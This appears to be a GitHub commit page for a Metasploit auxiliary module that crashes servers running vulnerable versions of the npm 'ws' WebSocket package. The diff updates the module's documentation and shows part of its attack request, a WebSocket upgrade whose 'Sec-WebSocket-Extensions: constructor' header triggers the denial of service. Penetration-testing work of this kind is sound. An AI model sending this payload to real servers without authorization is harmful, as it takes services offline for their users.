Skip to content

Commit c5f218c

Browse files
committed
Addressing comments
1. Updated documentation 2. Made the Sec-WebSocket-Key header a random value
1 parent 668585a commit c5f218c

File tree

2 files changed

+8
-12
lines changed

2 files changed

+8
-12
lines changed

documentation/modules/auxiliary/dos/http/ws_dos.md

Lines changed: 7 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -1,26 +1,22 @@
11
## Vulnerable Application
2-
3-
[ws < 1.1.5 || (2.0.0 , 3.3.1)]
4-
(https://nodesecurity.io/advisories/550)
2+
ws < 1.1.5 || (2.0.0 , 3.3.1)
3+
https://nodesecurity.io/advisories/550
54

65
## Vulnerable Analysis
7-
8-
This module exploits a Denial of Service vulnerability in npm module "ws".
9-
By sending a specially crafted value of the Sec-WebSocket-Extensions header
10-
on the initial WebSocket upgrade request, the ws component will crash.
6+
This module exploits a Denial of Service vulnerability in npm module "ws".
7+
By sending a specially crafted value of the Sec-WebSocket-Extensions header
8+
on the initial WebSocket upgrade request, the ws component will crash.
119

1210
## Verification Steps
13-
1411
1. Start the vulnerable server using the sample server code below `node server.js`
1512
2. Start `msfconsole`
1613
3. `use auxiliary/dos/http/ws_dos`
17-
4. `set RHOST XXX.XXX.XXX.XXX`
14+
4. `set RHOST <IP>
1815
5. `run`
1916
6. The server should crash
2017

2118
## Options
22-
23-
None.
19+
None.
2420

2521
## Scenarios
2622

modules/auxiliary/dos/http/ws_dos.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,7 @@ def run
4040
req = [
4141
"GET #{path} HTTP/1.1",
4242
"Connection: Upgrade",
43-
"Sec-WebSocket-Key: test",
43+
"Sec-WebSocket-Key: #{Rex::Text.rand_text_alpha(rand(10) + 5).to_s}",
4444
"Sec-WebSocket-Version: 8",
4545
"Sec-WebSocket-Extensions: constructor", #Adding "constructor" as the value for this header causes the DoS
4646
"Upgrade: websocket",

0 commit comments

Comments
 (0)